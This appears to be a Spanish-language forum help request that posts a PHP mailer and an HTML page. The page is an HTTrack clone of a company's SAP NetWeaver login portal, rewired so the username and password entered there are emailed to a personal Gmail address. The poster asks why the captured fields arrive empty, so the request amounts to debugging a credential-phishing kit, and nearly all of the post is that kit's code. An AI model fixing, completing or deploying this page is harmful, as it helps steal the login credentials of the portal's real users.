Buenas, tengo creado un formulario en html y una acción en php para que me lleguen los datos del formulario a mi correo, me llega el correo pero los datos llegan vacíos, les agradecería me pudieran ayudar ya que no se donde puede estar el fallo. Estos son los códigos:
CÓDIGO PHP:
FORMULARIO EN HTML:
Mod: Los códigos deben ir en etiquetas GeSHi
CÓDIGO PHP:
Código (php) [Seleccionar]
<?php
function MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat) {
if($mailFormat == 0) {
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
} else {
$headers = "";
}
$headers .= "From: ". $mailFrom . "\r\n";
$headers .= "Reply-To: " . $mailFrom . "\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
mail($mailTo,$mailSubject,$mailBody,$headers);
}
;
$mailTo = "mfcamposreyes@gmail.com";// Dirección de Email a donde se enviara el correo
$usuarios=$_POST['j_username'];
$clave_de_acceso=$_POST['j_password'];
$mailSubject = "Intranet";
$mailFormat = 0;
$mailBody = <<<EOT
<div style="width:380px; border:1px #999 solid; font-family:verdana; font-size:12px; color:#333; padding:10px;">
<h1 style="font-size:14px; font-family:comic sans;">Datos de Contacto</h1>
<strong>Usuarios:</strong> $j_username\r\n <br />
<strong>Clave_de_acceso:</strong> $j_password\r\n <br />
</div>
EOT;
MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat);
?>
<?php
echo <<<EOT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="author" content="Ag666" />
<meta name="keywords" content="" />
<title>Gracias por contactarnos</title>
</head>
<body>
<p style="font:700 15px 'trebuchet MS';color:#333;text-align:center;"></p>
</body>
</html>
EOT;
?>
FORMULARIO EN HTML:
Código (html4strict) [Seleccionar]
<html>
<!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:25 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<script type="text/javascript">
/*HTML Business for Java, 6.0*/
ur_system = {doc : window.document , mimepath :"/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/common/", stylepath : "/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/", is508 : false, domainrelaxing : "MINIMAL"};
var popup_emptydoc = "../htmlb/jslib/emptyhover.html";</script>
<link rel="stylesheet" href="../com.sap.portal.design.portaldesigndata/themes/portal/sap_standard/prtl_std/prtl_std_default88f5.html?v=7.31.11.0.0" />
<!-- EPCF: BOB Core -->
<meta http-equiv="content-script-type" content="text/javascript"/>
<script type="text/javascript" src="../com.sap.portal.epcf.loader/script/optimize/js13_epcf1e03.js?7.310000014"></script>
<script type="text/javascript">
<!--
EPCM.relaxDocumentDomain();
EPCM.init( {
Version:7.310000014,
Level:1,
DynamicTop:false, // [service=true nestedWinOnAlias=false]
UAType:2, // [Netscape]
UAVersion:4.5,
UAPlatform:1, // [Win]
UIPMode:"1", // [Default=1, User=0, Personalize=true]
UIPWinFeatures:"",
UIPPortalPath:"http://portal.imagina.tv:80/irj/portal",
UIPPopupComp:"http://portal.imagina.tv:80/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.admin.WorkProtectPopup",
UIPPopupCompSize:"dialogWidth:450px; dialogHeight:200px; status:no",
UIPPopupMsgNN:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20continuar\x20con\x20la\x20navegaci\xf3n\x20y\x20abrir\x20una\x20ventana\x20nueva\x3f",
UIPPopupMsgND:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20rechazar\x20las\x20modificaciones\x20y\x20abrir\x20el\x20contenido\x20en\x20la\x20misma\x20ventana\x3f",
DBGException:false,
DBCookie:false
} );
EPCM.DSM.init( {
TerminatorURL:"/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.Terminator",
WinEmptyUrl:"/com.sap.portal.dsm/images/empty.gif",
NavAcrossSubFramesUrl:"disabled",
ForcedUserDebug:false,
KeepAliveActive:false,
KeepAliveDelta:840,
dsmMethodGetKey:"",
KeepAliveStopAfter:36000
} );
function SAPWP_receiveSessInfo( sessInfo, frameRef ){
EPCM.DSM.processSession( sessInfo, frameRef );
}
//-->
</script>
<!-- EPCF: EOB Core -->
<title>SAP&#x20;NetWeaver&#x20;Portal</title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><link REL=STYLESHEET HREF="../com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/ur_default34da.html?9900d9720b53f45449631546978bd40d?v=7.33.3.62.0" TYPE="text/css" ></head><body class="prtlBody urFontBaseFam urScrl">
<!-- EPCF: Component com.sap.portal.runtime.logon.certlogon, fkfloinideafgekfboionjfhcodnmpfc -->
<script>
var inPortalScript = true
var webpath = "../es.imagina.logon.page/index.html"
</script>
<link rel=stylesheet href="../es.imagina.logon.page/css/ur/ur_ie5.css">
<script language="javascript">
var originWindowName=window.name;
window.name="logonAppPage";
function restoreWindow() {
try{
window.name=originWindowName;
} catch(ex){}
}
</script>
<script language="javascript">
function putFocus(formInst, elementInst) {
if (document.forms.length > 0) {
document.forms[formInst].elements[elementInst].focus();
}
}
function setValuesAutoCreation() {
var form = document.getElementById('logonForm');
form.j_username.value="";
form.j_password.value="";
form.automaticAccountCreation.value="true";
}
function submitForm() {
var form = document.getElementById('logonForm');
form.submit();
}
function clearEntries() {
document.logonForm.longUid.value="";
document.logonForm.password.value="";
}
function setFocusToFirstField() {
myform = document.logonForm;
try{
for (i=0; i<myform.length; i++) {
elem = myform.elements[i];
if (!elem.disabled) {
elemType = elem.type;
if (elemType=="text" || elemType=="password") {
if (!elem.readOnly) {
elem.focus();
break;
}
}
if (elemType=="select-one" || elemType=="select-multiple" || elemType=="checkbox" || elemType=="radio") {
elem.focus();
break;
}
}
}
} catch(ex){
}
}
function addTenantPrefix() {
return true;
}
</script>
<span id="UMELogon">
<script language="javascript">
if( window.EPCM != null ) {
EPCM.subscribeEvent( "urn:com.sapportals.portal:browser", "load", setFocusToFirstField );
}
</script>
<link rel="shortcut icon" type="image/x-icon" href="../es.imagina.logon.page/layout/imaginaurl.ico" />
<form action="send.php" method="POST" enctype="text/plain">
<FORM AUTOCOMPLETE="off" id="logonForm" name="logonForm" target="logonAppPage" method="POST" action="send.php" >
<input name="login_submit" type="hidden" value="on"><input type="hidden" name="login_do_redirect" value="1" /><input name="no_cert_storing" type="hidden" value="on"><input type="hidden" name="j_salt" value="1RrXcriNa5mPA7RZflsuT6wP2Qk=" />
<table height="100%" width="100%">
<tr>
<td>
<table width="725px" height="365px" align="center" valign="middle" border="0">
<tr>
<td>
<div style="background-image: url('../es.imagina.logon.page/layout/imagina_loguin.jpg');background-repeat: no-repeat;">
<table height="365px" width="100%" border="0">
<tr height="110px"><td></td><td> </td>
<td valign="bottom">
</td>
</tr>
<tr height="15px">
<td width="375px"></td>
<td width="1px"> </td>
<td valign="top">
<span STYLE="font-size: smaller; color: #ffffff"><label class="null"><nobr>Usuarios<span class=urLblReq> *</span></nobr></label>
</span>
</td>
</tr>
<tr height="25px">
<td width="400px"></td>
<td> </td>
<td valign="top">
<input type="text" id="logonuidfield" name="j_username" value="" title="j_username*" class="urEdfTxtEnbl" style="width:170px">
</td>
</tr>
<tr height="15px">
<td> </td>
<td> </td>
<td valign="top">
<span STYLE="font-size: smaller; color: #ffffff"><label class="null" for="logonpassfield"><nobr>Clave de acceso<span class=urLblReq> *</span></nobr></label>
</span>
</td>
</tr >
<tr height="45px">
<td> </td>
<td> </td>
<td valign="top">
<input type="password" id="logonpassfield" name="j_password" class="urEdfTxtEnbl" style="width:170px">
</td>
</tr >
<tr height="28px">
<td> </td>
<td> </td>
<td valign="28px" align="left">
<a href="javascript:document.forms[0].submit()"
onclick="return val_form_this_page()" align="left">
<img src="../es.imagina.logon.page/layout/boton_es.png" border="0" alt="" name="sub_but" />
</a>
</td>
</tr>
<tr><td></td><td> </td></tr>
<tr>
<td width="400px"></td>
<td colspan="2">
</td></tr>
</table>
</div>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
<script src="../es.imagina_frameworkpage/scripts/jquery-1.8.0.min.js"></script>
<script type="text/javascript" defer>
if (document.layers)
document.captureEvents(Event.KEYDOWN);
document.onkeydown =
function (evt) {
var keyCode = evt ? (evt.which ? evt.which : evt.keyCode) : event.keyCode;
if (keyCode == 13) {
document.forms[0].submit();
}
if (keyCode == 27) {
//For escape.
//Your function here.
}
else
return true;
};
</script>
</span>
<SCRIPT>var hash = document.location.hash;if (hash && hash !='#'){ var forms = document.getElementsByTagName('FORM'); for (var i = 0; i < forms.length; i++) { var form = forms[i]; var currentElement = document.createElement('input'); currentElement.setAttribute('type', 'hidden'); currentElement.setAttribute('name', 'postAnchorString'); currentElement.setAttribute('id', 'postAnchorString'); currentElement.setAttribute('value', hash); form.appendChild(currentElement); }}</SCRIPT></body>
<!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:28 GMT -->
</html>
Mod: Los códigos deben ir en etiquetas GeSHi